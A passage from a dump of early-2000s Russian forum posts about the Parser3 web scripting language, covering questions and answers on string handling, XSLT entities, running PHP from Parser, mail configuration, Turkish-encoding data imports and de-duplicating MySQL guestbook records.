"11087","Люди, скажите, что я делаю неправильно?"
"11089","У меня код\
[code]\
$string[Вышел зайчик погулять.]\
<p>\
С обычными пробелами: $string\
<p>\
$string[^string.match[\\s][g]{&nbsp^;}]\
С неразрывными пробелами: $string\
[/code]\
прекрасно работает."
"11090","Для этого надо в файле auto.p который был в parser3conf_20020802_unix.tar.gz \
\
заменить строки\
[code]\
@unhandled_exception[exception;stack]\
^unhandled_exception_release[$exception;$stack]\
[/code]\
на\
[code]\
@unhandled_exception[exception;stack]\
#^unhandled_exception_release[$exception;$stack]\
^unhandled_exception_debug[$exception;$stack]\
[/code]"
"11091","И продолжаем эпопею про работу php и parser.\
\
Конструкция \
\
$banners[^file::exec[/usr/sbin/php;;-q;./banners.php4]] \
\
не работает, потому что ищет файл не от корня, хотя путь и начинается со слэша, а от текущего каталога. И, ясное дело, не находит.\
\
Версия parser'а - 3.0.0005.\
"
"11092","Здравствуйте.\
\
Скажите, пожалуйста, \
\
1. кто нибудь сумел заставить работать пример 10 [url]http://www.egoroff.spb.ru/portfolio/10.html[url] строка навигации с пом. XML/XSLT\
\
\
2. как же использовать список всех УРИ в целях создания этой самой навигации??\
\
Спасибо\
"
"11093","Какой метод делает преобразование замену конца строки на тег <br>?\
ну или как это делается обычно на парсере?"
"11094","Стоит ISA server. Все рулезы прописаны правильно. (из outlook почта прекрасно отсылается). Parser выдает ошибку\
\
connect to [мой mailserverIP]:25 failed\
send\
\
...\
что делать ?"
"11095","http://www.parser.ru/forum/?terms=%5Cn&author=&doSearch=%CD%E0%E9%F2%E8"
"11097","Впрочем, это, как и многое другое, я уже поправил: пришлось разбираться в исходниках (не особо силён в xml)."
"11098","Хотя изменять поля $form напрямую не удается, есть недокументированная возможность изменять их с помощью $form:fields (проверялось на 3.0.0006):\
\
[code]\
$form:fields.foo[bar]\
$form:foo\
[/code]\
\
...выведет bar. Правда, таким образом нельзя создать поле, можно лишь изменить уже заданное."
"11099","Народ, кто подскажет как сделать счетчик посещений сайта и счетчик хостов на парсер? Может у кого то есть документация по этому поводу?"
"11101","Подскажите, почему когда делаю XSLT преобразование, когда в шаблоне находится &nbsp; возникает ошибка Entity 'nbsp' not defined.\
Хотя когда в шаблоне находится &gt; такой ошибки не возникает!\
Может быть вместо &nbsp; нужно писать что-то другое?\
"
"11102","добавь в шаблон сразу после XML декларации <?xml version=\"1.0\" encoding=\"windows-1251\"?> такие строчки\
[code]\
<!DOCTYPE xsl:stylesheet [\
	<!ENTITY nbsp \"&#160;\"> \
]>\
[/code]"
"11103","15-й пример при использовании XML не катит, а вот без использования его очень даже пригодится, алгоритм, правда на 2-м парсере, и возможно не самый оптимальный есть в 1-м или 2-м примере.\
\
Если хочется с XML надо для начала сформировать древовидный XML разделов сайта, как? читать у Миши."
"11104","а несовершенство нашего мира, а точнее ограниченность ресурсов. Я сегодня с таким тоже столкнулся, правда у меня лимит на процесс 8 метров а не 19 как тут :)"
"11105","а универсального языка нет и не будет и это здорово"
"11106","ибо это firewall+proxy а не почтовый сервер, а если все таки посылает, то лучше не использовать его для этих целей.\
\
Возможно здесь есть путанница с SMTP service идущей в составе IIS\
\
приведи пример конфига, MAIL под Win32 настраивается типа так:\
[code]\
$MAIL[\
	$.SMTP[mail.slantsy.net]\
]\
[/code]\
\
где mail.slantsy.net DNS имя почтового сервера, можно и NETBIOS имя очевидно использовать или IP но я это не пробовал."
"11107","Кто знает где есть бесплатный хостинг с PhP и MySQL"
"11108","Подскажите как сделать:\
У меня есть постоянно изменяющееся количество картинок, на сайте они все должны находится в таблице 6 на х ячеек(в зависимости от их количества), но количество столбцов менятся не должно...\
Спасибо."
"11110","Я говорю парсер почту не отсылает. Isa себе спокойно работает. Просто на одном серваке все стоит: ISA, IIS+parser.\
И ISA запрещает парсеру отсылать почту. А вот outlook на том же серваке отсылает - это значит, что настройки почты на ISA сервере впорядке."
"11111","а то у меня уже крыша едет с этой ошибкой: auto.p(7): 'uri' column not found  type: parser.runtime Я ведь правильно все понимаю что эта ошибка означает не правильное форматирование sections.cfg, и только не нада говорить мне что надо читать faq и т.д прочитал весь форум и все факи и ниче не помогает избавиться от ентой ошибки. Заранее Спасибо."
"11115","правда почтовый сервер CommuniGate Pro а веб-сервер Apache"
"11116","----\
code (Код в auto.p)\
<a target=\"_blank\" href=\"^taint[uri][$r_sub_items.link]\" onMouseOut=\"document.${sub_id}.src='${r_sub_items.icon}'\" onMouseOver=\"document.${sub_id}.src='${r_sub_items.icon_over}'\">\
result (Код HTML в браузере через View Source)\
<a target=\"_blank\" href=\"http%3A//10.0.17.15/\" onMouseOut=\"document.r1_ini_1.src='/cgi-p/ad/img/s_but0.gif'\" onMouseOver=\"document.r1_ini_1.src='/cgi-p/ad/img/s_but1.gif'\">\
adress in browser (URL в адресной строке броузера - результат перехода по линку)\
http://10.0.17.15/cgi-p/ad/http%3A//10.0.17.15/\
----\
\
ПОЛУЧАЕТСЯ ВСЯ ПРОБЛА В ТОМ ЧТО ПРИ uri СИМВОЛ ДВОЕТОЧИЯ \":\" ЗАМЕНЯЕТСЯ НА КОД :(( \
Ну ладно там сервис(http,ftp и т.д.) можно не обрабатывать через ^taint[uri], ну а если в URL надо влоб указать порт ?\
неапример на www.zeos.net:8000 и www.zeos.net два разных сайта висят :((((((((\
ПОЛУЧАЕТСЯ ЧТО ^taint[uri] ДЛЯ МАКРОПОДСТАНОВКИ В href НЕ ГОДИТСЯ ?\
Есть какиенить мысли на этот счет ?\
можно конечно написать обработчик для двоеточия но зачем это делать кажному отдельно ?"
"11117","Спасибо за совет!\
Странно, но в таком случае вместо нужного &nbsp; я в html получаю простой пробел \" \"!"
"11118","В $string идет memo блок с мускула. Там между словами может присутствовать по 10 пробелов.\
\
После $string[^string.match[\\s][g]{&nbsp^;}] между словами присутствует ; (точка с запятой)"
"11119","Так и не появилось преобразование char в byte (символа в число по ASCII-коду) и обратно?\
\
Вроде бы XOR сделали... :) А этого я почему-то не нашел :)"
"11120","Есть понятие URI, а есть понятие URL\
Надеюсь, разница понятна.\
То, что русскому хорошо, немцу - смерть.\
Мораль: не применять к URL обработку типа URI (имя протокола и номер порта - это часть URL, никак не URI)"
"11121","Мне казалось, что это документировано.\
Что делать? Писать путь от Document_Root.\
Например, для DR == /home/www/site_name/html/\
пишем /../../../../usr/bin/php - все работает :-)\
\
Да, крокодила \"/../../../..\" можно запихать в переменную (например, $MAIN:SystemRoot[/../../../..]) и вызывать все как\
$MAIN:SystemRoot/usr/bin/php"
"11122","А памяти выделяется 32.\
Просто весь форум весит больше ;-)\
Ну и, возможно, некоторое несовершенство алгоритма, но бросать в Мишин огород камень у меня рука не поднимается. ;-)"
"11123","Он неразрывный. Просто такой Win-символ. В KOI8-R был бы \"?\""
"11124","В чем конкретно проблема? Или чуть подумать не хочется?"
"11126","Как заставить получать в выводе &nbsp; при использовании XSLT? Ответ один - никак, потому что такие вещи не должны заботить получателя документа и поэтому они не включены в древовидную модель XPath.\
\
Мораль - надо менять стиль верстки при использовании XML/XSLT\
\
Да, но есть один выход - это запрет экранирования выходных данных (disable-output-escaping=\"yes\") при выводе с использованием инструкций <xst:text> и <xsl:value-of>"
"11127","У меня новости достаются из MySQL, поля типа text. Попробовал матчить их \
[code]\
...\
$str[$news_table.text<br>]\
$str[^str.match[\\s][g]{&nbsp^;}]\
$str\
...\
[/code]\
Все нормально, все пробелы в конечном html заменены на &nbsp;\
\
Проверял на  parser3_3_0_0007, Win32."
"11128","Что такое 248 ошибка в php4?\
\
====исходник====\
$aaa[^file::exec[hello.php4]]\
Статус выполнения hello.php4 - $aaa.status<br>\
^aaa.save[text;hello.txt]<br>\
$b[^file::load[text;hello.txt]]\
Файл с именем $b.name имеет размер $b.size и содержит текст:<br> \
$b.text \
=================\
\
====Результат====\
Статус выполнения hello.php4 - 248\
\
Файл с именем hello.txt имеет размер 0 и содержит текст:\
=================\
\
Файл hello.txt пишется (0 байт), в parser3.log - чисто.\
\
Сам по себе hello.php4 работает. Может опять что-нибудь из-за прав доступа и т.п.?\
"
"11129","Уважаемые гуру и монстры парсера подскажите плиз что прописать в auto.p для того что бы назначить парсер обработчиком wml-страниц, по форуму искал и попробовал прописать $responce:content-type.value[text/vnd.wap.wml] как было написано в обном из постов, в ответ на это wap-браузер говорит: \
Not wml content :\
[Content Preview]\
\\usr\\local\\parser3/auto.p(58): \"responce\" class is undefined type: parser.runtime\
[End]\
Заранее спасибо за ответ.\
P.S. Если кто сталкивался с подобной проблемой или занимаеться этим сейчас плиз оставьте мыло или аську для глупых вопросов, буду крайне признателен.\
"
"11131","Сенкс. Сорри туплю, после праздников :)\
Хотел бы пообщаться с людьми которые ведут проекты под wap. У меня сейчас планируется большой проект поэтому был бы крайне признателен за помощь. Со своей стороны чем смогу поделюсь (софт, аудио, видео и т.д.) ICQ 152822510"
"11134","Вопрос к создателям форума\
\
Мне в вашем форуме очень понравился метод добавки новых сообщений.\
\
Расскажите, как он реализован!\
Я попытался создать нечто подобно но получился довольно грамоздкий код завязанный на Яве\
\
Вот такой  програмкой открываю новое окно:\
\
function openMw(forum,id)\
{\
if (document.all)\
{Mw=open(\"\",\"mw\",\"directories=no,location=no,menubar=no,resizable=yes,scrollbars=no,status=no,toolbar=no,width=350,height=400\")}\
else {Mw=open(\"_blank\",\"mw\",\"directories=no,location=no,menubar=no,resizable=yes,scrollbars=no,status=no,toolbar=no,width=350,height=500\")}\
Mw.document.open()\
Mw.document.write('<html><head><title>Добавление нового сообщения</title></head><script language=\"Javascript\">function checkForm(){if (document.sf.header.value==\"\"||document.sf.nm.value==\"\") {alert(\"Заполните (правильно) поля, помеченные звездочкой\");return false;}return true;}</script><body bgcolor=#ffffff text=#000000><center><table><tr><td align=right><form method=post action=\"http://localhost/forum/forum.cgi\" name=sf onSubmit=\"return checkForm()\">')\
Mw.document.write('<input type=hidden name=action value=say>')\
Mw.document.write('<input type=hidden name=forum value='+forum+'>')\
Mw.document.write('<input type=hidden name=reply value='+id+'>')\
Mw.document.write('Заголовок*:&nbsp;<input type=text name=header size=30><br>')\
Mw.document.write('Имя*:&nbsp;<input type=text name=nm size=30><br>')\
Mw.document.write('E-mail:&nbsp;<input type=text name=email size=30><br>')\
Mw.document.write('Сообщение:<br><textarea name=message cols=30 rows=10></textarea><br>')\
Mw.document.write('<input type=submit value=\"Отправить\">')\
Mw.document.write('</table><table><tr><td><input type=radio name=image value=0><img src=../smile/0.gif></td><td><input type=radio name=image value=1><img src=../smile/1.gif></td><td><input type=radio name=image value=2><img src=../smile/2.gif></td><td><input type=radio name=image value=3><img src=../smile/3.gif></td><td><input type=radio name=image value=4><img src=../smile/4.gif></td><td><input type=radio name=image value=5><img src=../smile/5.gif></td><td><input type=radio name=image value=6><img src=../smile/6.gif></td><td><input type=radio name=image value=7><img src=../smile/7.gif></tr><tr><td><input type=radio name=image value=8><img src=../smile/8.gif></td><td><input type=radio name=image value=9><img src=../smile/9.gif></td><td><input type=radio name=image value=10><img src=../smile/10.gif></td><td><input type=radio name=image value=11><img src=../smile/11.gif></td><td><input type=radio name=image value=12><img src=../smile/12.gif></td><td><input type=radio name=image value=13><img src=../smile/13.gif></td><td><input type=radio name=image value=14><img src=../smile/14.gif></table></form></body></html>')\
Mw.document.close()\
if (document.all)\
{Mw.document.charset=\"windows-1251\"}\
return false\
}\
\
После нажатия кнопки Отправить в окошко грузится новая страничка\
\
<html>\
<head>\
<title>Сообщение принято</title>\
</head>\
<script language=\"JavaScript\">\
function WA()\
{\
if (document.all) {window.opener.location.href=\"about:blank\";}\
   else {window.opener.location.pathname=\"\";}\
window.opener.location.href=\"http://localhost/forum/2/index.html#12\";\
window.close();\
}\
</script>\
<body onLoad=\"WA()\">\
Сообщение принято и добавлено\
</body>\
</html>\
\
Она делает replase породившей странички на about:blank, а после грузит обноленную страничку"
"11136","Это все хорошо, но я хочу чтобы было видно не только общее количество посещений, но и количество посещений за день и количество хостов"
"11137","Подкиньте кто-небудь счетчик на Parser'е!"
"11138","это не выход для вывода &nbsp; - работает только для & &lt; gt; и т.д."
"11139","Большой WAP проект, это как?"
"11140","Возникла проблема с установкой файла auto.p\
\
Устанавливаю Парсер на Win2000Srv как модуль под Apache. Все путя прописываю по документации. В результате получаю страничку с заголовком \"Unhandled Exception\".\
\
Помогите, пожалуйста..."
"11142","Если выдает такую ошибку, пол дела сделано!"
"11143","И в раздел с примерами тоже можно заглянуть ..."
"11145","Дело в том, что эту ошибку генерит файл auto.p. Если его сделать пустым, то все работает, кроме того, что описано в нем (например, кодировки). Попытки прописать в локальном, как указано в доке, ни к чему не привели.\
Что-то я сделал неправильно, а что не знаю.\
\
Интересно, в форуме встречается имя файла parser3.conf, а в дистрибутиве и в доке его нет. По роду деятельности он похож на корневой auto.p. У меня есть подозрения, что это осталось с Parser2."
"11146","Да в блокноте правил, попробовал в фаре тож самое...даж незнаю что делать."
"11147","[quot]Интересно, в форуме встречается имя файла parser3.conf, а в дистрибутиве и в доке его нет. По роду деятельности он похож на корневой auto.p. У меня есть подозрения, что это осталось с Parser2.[/quot]\
\
Это осталось с первых билдов Parser3."
"11149","Установлен Parser как модуль Apache.\
В случае ошибок должен создаваться файл логов.\
Где он?"
"11150","Лог модуля в логе Apache, лог CGI там где конфиг. auto.p"
"11151","interactive_timeout = 28800 - это стоит по умолчанию в MySQL. Можно-ли средствами парсера менять это значение, или просто закрыть все сессии???"
"11154","exec[], так же как и cgi[], требует чтобы скрипт возвращал headers. Иначе выдает ошибку (правда в лог почему-то не пишет). По идее должон писать что-то вроде:\
====\
[Tue Jan  7 17:06:17 2003] /xxx...xxx/i.html: /users/xxxxxxx...xxx/i.html(6): 'cgi' output does not contain CGI header; exit status=248; stdoutsize=0; stdout: \"\"; stderrsize=0; stderr: \"\" [<no type>]\
====\
Выдает только статус ошибки 248 :-(\
\
http://www.php.net - ключевое слово header. Если разберешься - дай знать на форуме, может еще кому пригодится..."
"11157","Хоть как я и ненавижу Access, но мне пришлось с ним работать. И сразу же столкнулся с такой вот проблемой : \
\
есть БД. Данные в ней хранятся в турецкой кодировке(на турецком языке). Теперь, хочу перетащить все это в MySQL. Написал скриптик. Перетащил.\
\
Но! выяснилось, что при перетаскивании, а точнее при вытягивании данных из Access'a, вся кодировка херится напрочь! Все данные выходят чисто английскими буквами. А Парсер чё, Парсер ничё - так и заливает это дело в MySQL.\
\
Как мне вытянуть данные из Access'a на турецком? Может там можно charset задавать, или еще как? Помогите! А то нервничает клиент - на турецком хочет!\
\
Думал, может чё с $request:charset[] $response:charset[] не так, но у меня стоит windows-1254(турецкая кодировка). Где здесь собака - не могу понять!"
"11159","Акцесс вроде как умел экспортить таблицы в plain-text...\
Потом это можно влить в МуСКЛ.\
Не знаю, как с турецким,  русским у меня такие фишки проходили.\
Надеюсь, кодировка у самого MySQL тоже турецкая. Иначе - все операции гроша выеденного не стоят."
"11160","просто я с Access'ом не работал - не знаю толком, что там и куда..."
"11161","По завершении работы парсера. Если это CGI.\
Ели модуль - будут храниться некоторе время для реализации persistent connections. Потом протухнут. Сколько не тухнут - смотри в исходники ;-) ПАФ говорил, но я не помню...\
\
Изменить настройки сервера из-под парсера нельзя."
"11164","www.majorhost.ru к примеру...\
Множество их таких бывает 8)"
"11165","а если сразу через настройки Mysql не пробовали?"
"11166","Как установить RewriteEngine к Apache?"
"11169","Ок понял, все работает"
"11170","Это региональный инфо ресурс по краснодарскому краю. "
"11172","Помню, как то читал на форуме, что можно использовать уже скомпилированный код, но не нашел, как это сделать.\
\
Помогите пожалуйста , если такое возможно."
"11173","Подскажите элеганитное решение для сайта на нескольких языках, если все \
содержимое имеется в .xml-виде...\
То есть для каждого языка есть свой атрибут..."
"11174","кто захочет все равно увидит :) только время зря потеряешь. Одного не могу понять - чего у тебя там в коде такого секретного?"
"11176","свою страничку или что-то в этом духе, но не было написанно как, может кто-нибудь знает?"
"11177","смотри доку по второму апачу(как она устроена, XML, XSLT), там решение весьма элегантное"
"11180","не работают ссылки, в последней новости \
на www.parser.ru \
http://www.parser.ru/docs/lang/filefullpath.htm\
http://www.parser.ru/docs/lang/cookiefields.htm"
"11182","Если речь о стандартной - можно. Но тяжело. Для начала почитай описания этого процесса, а уж потом решай, стоит ли огород городить.\
\
А может там речь шла о совсем своей? Типа как в форуме... Тогда совсем другой разговор."
"11184","Вопрос такой. Я только начинаю изучать парсер. В хелпе есть пример создания менюшки, и на втором уроке дается расширенная версия реализации этого меню. Там предлагается такой финт: подсвечивать текущий раздел и убирать с него ссылку. Но код, данный в хелпе, не работает. Он ничего не подсвечивает и ссылку не убирает... =( Вроде логика понятна, но почему не работает?"
"11185","Подробнее? Может IIS?"
"11186","Ну, вообще да, ИИС! =) Я не думаю, что все только от ИИСа и зависит..."
"11187","в случе обращения к директории (например, /news/) он на $request:uri отдает /news/index.html (или какой там у тебя index)\
в этом его паскудство.\
понятно, что '/news/' (из sections.cfg) никогда не будет eq '/news/index.html' (из $request:uri)\
так что и у тебя все в порядке ;-)\
\
в качестве решения могу предложить делать $normURI[^request:uri.split[index.html][h]] и сравнивать $normURI.0 вместо $request:uri"
"11188","работает:\
[code]\
$t[^table::create{a	b\
1	2\
3	4\
5	6}]\
\
$t1[^table::create[$t][$.limit(1)]]\
=^t1.count[]=<br />\
^t1.menu{\
	=$t1.a=$t1.b=\
}[<br />]\
\
$t2[^table::create[$t][$.offset(2)$.limit(1)]]\
=^t2.count[]=<br />\
^t2.menu{\
	=$t2.a=$t2.b=\
}[<br />]\
[/code]\
\
НЕ работает:\
[code]\
$t[^table::create{a	b\
1	2\
3	4\
5	6}]\
\
$t1[^table::create[$t][$.limit(1)]]\
=^t1.count[]=<br />\
^t1.menu{\
	=$t1.a=$t1.b=\
}[<br />]\
\
$t2[^table::create[$t][$.offset(2)]]\
=^t2.count[]=<br />\
^t2.menu{\
	=$t2.a=$t2.b=\
}[<br />]\
[/code]\
\
Т.е. offset без limit за отмазку не канает :)...\
\
У меня работало, т.к. я без лимита не юзаю его. Проверил, работает нормально если в качестве лимита указать что-нить очень большое (можете указать ^tbl.count[])."
"11189","В общем-то я не поняла причем тут апачи, хочется увидеть нечто универсальное, но доку смотрю,\
только, наверное, не ту..."
"11190","анализировать, а не просто смотреть надо доку по [b]2-му apache[/b] подчеркиваю, по 2-му, скачать 2.0.43 версию apache и смотреть как устроены XSLT таблицы документации, можно узнать много интересного, да и вообще стоит анализировать подход к многоязычности от 2-го apache."
"11191","Для XML сейчас тоже думаем... А вот без него был простой вариант; для русского, английского и эсперанто под парсером работает на www.computer.edu.ru, www.computer.edu.ru/eo/.\
Макрос ^eo[текст на эсперанто]."
"11192","Целый день убил на редактирование .xsl файлов - записывал в Unicode формате tab-delimited, чтоб турецкую кодировку не похерить. Думал, потом все это залить в БД.\
\
Как дело дошло до БД, Парсер стал выдавать закорюки всякие.\
\
Вот сижу теперь и громко плакаю, ибо нервы на пределе, а как Excel-файлы залить в БД я так и не придумал. Можно воспользоваться Access'oм, но это неблагодарный труд, ибо придется создавать аж 302! маленькие БД. Потом коннектится и перетаскивать вручную.\
\
Может можно как-то перекодировать Unicode в нормальный текст? При этом очень важно не похерить турецкую кодировку...\
\
Как мне быть?....хм...хм...хма-а-а-ааааа...не могу больше слезы сдерживать....ааааа-аа....."
"11193","Поиск юзал. Не нашел.\
Стоит IIS - много сайтов.\
В каждом приходится держать главный конфигурационный auto.p.\
Хочу держать его в одном месте, чтоб использовался для всех сайтов.\
Классы-то можно так держать /../classes, а auto.p как ?"
"11194","Иначе файлы читаются в твоем 1254, что, естественно, не есть рулез ;-)"
"11196","[url=http://razetdinov.inc.ru/parser/]Обновлённая версия[/url] подсветки для colorer'а (пришлось взяться самому, коли больше некому :-).\
\
Изменения:\
\
1. Добавлена возможность подсветки вложенных полей числом больше двух (i.e. $form:tables.table1.column1).\
2. Добавлена обработка записи выражения и кода в поле хэша: $.foo(1) и $.bar{code} (раньше обрабатывалось только $.foo[bar]).\
3. Добавлена обработка передачи методу выражения: ^foobar(1)\
4. Разделена обработка разных скобок записи значения в переменную (раньше были дозволены ошибочные смешанные варианты).\
5. Удалена обработка конструкций вида $foo::bar[]\
6. Удалена неработающая подсветка ряда системных классов.\
7. Удалён баг, при котором подсветка метода с параметрами, переданными в одинаковых скобках (i.e. ^foobar[var1][var2]) закрашивала все вплоть до второй открывающей скобки включительно, что особенно мешало при использовании метода match (^str.match[шаблон][опции]), т. к. весь шаблон, в котором очень важна правильная расстановка скобок, закрашивался.\
\
Кстати, замечено, что Парсер не разбирает содержимое регулярных выражений, а просто считает количество парных скобок, поэтому конструкция\
\
[code]$str[^str.match[[b][[/b]^^\\][b]][/b]][]][/code]\
\
выдаст ошибку. В данном случае нужно лишнюю закрывающую скобку эскейпить и для парсера:\
\
[code]$str[^str.match[[b][[/b]^^\\^][b]][/b]][]][/code]"
"11198","читаю:\
\"...убил на редактирование .xsl файлов...\"\
\"...ибо нервы на пределе, а как Excel-файлы залить в БД...\"\
\
По моему скромному мнению xsl != Excel, а я с тобой общался и по аське, и так и не понял что тебе надо. (hint: excel == xls)\
\
В итоге я не знаю что тебе посоветовать. если это текстовые файлики в кодировке UNICODE - это одно, если xls файлы (файлы excel) - это другое. Парсерный регексп, вроде бы не любит работать с текстами в Unicode, но это вроде не его ограничение (могу ошибаться, ждем ПАФа чтобы поправил). Я работал только с данными в UTF8 (это не unicode, я надеюсь ты знаешь это), и не работал с регулярными выражениями, а просто грузил это из файликов в парсерные именованые таблички и потом запихивал в БД или делал что мне хотелось - проблем не испытывал.\
\
Ты по аське упомянал, что у тебя что-то завязано на работу с неименоваными таблицами - не фижу больших проблем, ибо взять столбцы именованой таблицы, по ним сделать необходимый ofset и таким образом найти имя столбца - тоже не сложно, особенно когда стоит вопрос - лопатить 302 файла или написать один метод.\
\
В общем ты бы описал задачу, рассказал-бы про условия, которые имеются вместо сдерживания слез - проку было больше-бы."
"11200","Только не под виндой, а под FreeBCD. classes и т.п.: /../../ вынесен вне вэб-пространства.\
\
"
"11201","скопировал бы всё в word, а оттуда сохранил бы как plain-text с турецкой кодировкой\
(с ивритом работает -> с турецким и подавно).\
Мы с Вадимом это долго размусоливали на форуме p2 ...\
Поищи там, если не лень."
"11202","я пробовал, у меня работает"
"11204","Значит так. Писать придется много.\
\
Передо мной стоит такая задача :\
\
Есть 302 автобусные фирмы, которые предоставляют свои услуги по Турции. Данные этих фирм хранятся в БД.\
\
Теперь, есть еще 302 .xls (excel) файла, которые содержат информацию о рейсах вышеописанных фирм - каждой фирме 1 .xls файл.\
\
Я создал еще одну таблицу, куда и собираюсь залить рейсы, ключ firm_id.\
\
Но это еще пол-беды. Дело в том, что файлы с рейсами, которые мне передал клиент, записаны в хер его знает какой структуре! Я вчера весь день убил, переводя все файлы к табличной структуре и записывая их в Unicode Tab-Delimited .txt файлы. Идея была потом поочереди все эти файлы грузить в $table[] и менюша, заливать в БД.\
\
Оказалось, что Unicode Парсер читать не хочет. Записать файлы в не-unicode - херится кодировка (турецкая).\
\
Пытался найти прогу, которая смогла бы перевести мои unicode файлы в \"нормальные\" - тщетно. Ни одна прога не шарит турецкой кодировки(windows-1254).\
\
Теперь отвечу на некоторые вопросы Мишы.\
Зачем я возился с regexp и столбцами таблиц? Затем, что мой клиент(убил бы...) названия столбцов записал как \"начальная станция\", \"цена билета\" и все в таком роде. Я же (тоже хорош) это поздно заметил, когда уже обработал 302 файла. Поэтому мне надо было грузить nameless table без первой строки.\
\
Вот. И сейчас я в отчаянии. Если ничего не получится, то придется(о, мама!) делать все через Access - создавать 302 таблицы, импортировать туда .xls файлы, потом коннектиться через Парсер, вытягивать данные и заливать их в MySQL. И тут наверное я кончусь. Не поминайте лихом, всегда ваш, agat."
"11205","[code]transcodeFromUTF8 error: too big tmpVal(0xFAB9FF0A)[/code]"
"11206","UTF8 у тебя или UNICODE, они несколько отличаются.\
Во вторых... У меня есть ощущение, что ты файлы html держишь в кодировке 125x а данные хочешь читать в иной кодировке (так и не понял в какой именно) - по моему так не пойдет. Перекоддируй все к одной кодировке - и не будет мата... "
"11207","[quot]\
Оказалось, что Unicode Парсер читать не хочет. Записать файлы в не-unicode - херится кодировка (турецкая).\
[/quot]\
не знаю как с unicode, а с UTF8 парсер работает на ура.\
\
[quot]\
Пытался найти прогу, которая смогла бы перевести мои unicode файлы в \"нормальные\" - тщетно. Ни одна прога не шарит турецкой кодировки(windows-1254).\
[/quot]\
я тут помочь не могу, т.к. я тоже не работаю с 1254... А писать для тебя перекодировочные таблицы лениво.\
\
[quot]\
Зачем я возился с regexp и столбцами таблиц? Затем, что мой клиент(убил бы...) названия столбцов записал как \"начальная станция\", \"цена билета\" и все в таком роде. Я же (тоже хорош) это поздно заметил, когда уже обработал 302 файла. Поэтому мне надо было грузить nameless table без первой строки.\
[/quot]\
\
Зачем? Ты читал, что я тебе написал??? Взять НАЗВАНИЯ столбцов и обращаться к таблице по ним, типа этого $таблица.$столбец\
В чем проблемы?\
\
"
"11208","есть такая вещь в MS SQL - DTS (data transformation services) с её помощью можно делать весьма сложные преобразования, ставь энту штуку и не парься"
"11209","Люди добрые, подскажите: как на парсере посчитать время последней модификации текущего файла? Есть ли готовый метод, чтобы узнать имя.расширение текущего файла? Или только $request:uri который выдает еще и \"хвост\" за именем файла?\
\
Спасибо!"
"11210","неее...я этот самолет по-другому запустил..:)..через задний проход, но запустил - летает на ура!"
"11211","^file::stat[имя_файла]    \
Объект, созданный этим конструктором, имеет дополнительные поля (объекты класса date): \
\
$файл.cdate - дата создания; \
$файл.mdate - дата изменения; \
$файл.adate - дата последнего обращения к файлу. "
"11212","DTS можно вроде и отдельно поставить, порой Microsoft.com на эту тему"
"11213","помогите кто нить сделать нормальную авторизацию на определенную страницу для нескольких пользователей.\
необходимо, чтобы для каждого пользователя был файл, в котором будет храниться вся информация о нем.\
необходимо, чтобы в режиме администрирования можно было блокировать/активизировать любой аккаунт.\
у меня есть скрипт на перл, но он на отрез отказывается работать на сервере. на локалке работает.\
в файле вставлена команда:\
$cgi_file[^file::cgi[../cgi/come.cgi]] \
$cgi_file.text\
т.е., должна появиться форма для авторизации пользователя, но при переносе на сервер, выдается ошибка:\
/public_http/auto.shtml(14): 'cgi' output does not contain CGI header; exit status=254; stdoutsize=0; stdout: \"\"; stderrsize=0; stderr: \"\"\
а что она значит?"
"11214","...проблема в том, что здесь надо указать _имя_файла_, а мне требуется написать метод для _текущего_ файла, имя которого, естественно, каждый раз новое."
"11216","Есть база данных как на http://example.parser.ru/guests/ \
с табличкой:\
create table xgb (\
id int not null auto_increment primary key,\
published datetime,\
name varchar(50),\
comment text)\
\
вопрос такой - как сделать удаление дублей из таблицы (т.е. если поля published,name,comment одинаковые а id нет)\
\
есть такой вариант но почемуто неработает\
\
^sql[DELETE FROM xgb T1 WHERE EXISTS \
(SELECT * FROM xgb T2 WHERE \
(T2.name = T1.name) and\
(T2.published = T1.published) and\
(T2.comment = T1.comment) and\
(T2.id > T1.id))]\
\
или может укажите где тут ошибка ???"
"11218","А как тогда сделать ??? Мож знает кто..."
"11219","Может есть какойнить другой вариант исключения дублей к примеру самим парсером на стадии ввода пользователем данных в базу... ????"
"11220","первым создаешь таблицу записей которые надо удалить\
\
вторым делаешь удаление с in в where"
"11221","Это былобы неплохо только как я узнаю то какие записи мне удалить их ведь можно только вложенным подзапросом определить... а вовторых даже если удасться их найти то удалятся Все дубли вместе с оригинальной записью а ее то надо оставить... \
\
Может еще какие решения есть ????"
"11222","в моем случае, при обращении к скрипту выводится форма авторизации пользователей.\
локально работает, на сервере нет.\
а что значит не забыть о header'e?"
"11223","Данные вводятся таким кодом...\
^sql[insert into xgb (\
                       published,\
                       name,\
                       comment\
                       ) values (\
                                 now(),\
                                 '^form[name]',\
                                 '^form[comment]'\
 )]\
\
Может кто нить посоветует как сделать проверку на дублирование по 2 полям (name, comment) прежде занесения данных и если такие данные есть то не заносить их в базу..."
"11224","Так не пускай данные на момент внесения в базу\
[code]\
$last_id(^int::sql{SELECT id FROM guest WHERE text='$newtext' AND ...}[.default{-1}])\
^if($last_id==-1){\
  Спасибо, но такое в нашей гостевой уже есть\
}{\
  ^void:sql{INSERT INTO ...}\
  Спасибо за коммент\
}\
[/code]"
"11225","уникальный индекс по тем полям, комбинация которых должна быть уникальной и всё"
"11226","И соответственно insert делай внутри ^try{}\
Сам лови исключение и обрабатывай его.\
\
Для чего нужен sql сервер? Чтобы использовать его возможности :)"
"11228","А примерчик гденить есть ???"
"11229","... а в доке по MySQL есть примеры создания индексов."
"11230","ALTER TABLE `table` ADD UNIQUE index_name (field_1,field_2)"
"11231","Ищем в таблице те записи, которые уже есть и похожи на новую (where..). Если они есть, то в $last_id номер этой записи, или -1. Ну и ^if()..\
\
Почему называется $last_id, я не знаю. О чём-то своём думал, когда писал. Скорее всего, там должно быть $уже_есть_такая_запись"
"11232","Спасибо попробую разобраться.\
А есть такаяже фича под второй парсер ???"
"11233","                                 ^var[last_id;0]\
                                 ^sql[select count(id)  from xgb where name='^form[name]' and comment='^form[comment]']\
                                 ^var[last_id;^item[0]]\
                                 \
                                ^if[^var[last_id]>0; \
                                 <b>Данные уже внесены. Нефига дубли плодить... Биппп Бипп.....</b>\
                                ;\
                                ^sql[insert into xgb (\
					published,\
					name,\
					comment\
				) values (\
					now(),\
					'^form[name]',\
					'^form[comment]'\
				)]\
                            ]"
"11234","я думаю, что интерпретатор php поступает также, как и интерпретатор parser: он определяет, запущен ли он с консоли или из веб-сервера, глядя на переменные окружения.\
\
впрочем, посмотрел, так и есть:\
[code]\
	if (getenv(\"SERVER_SOFTWARE\")\
		|| getenv(\"SERVER_NAME\")\
		|| getenv(\"GATEWAY_INTERFACE\")\
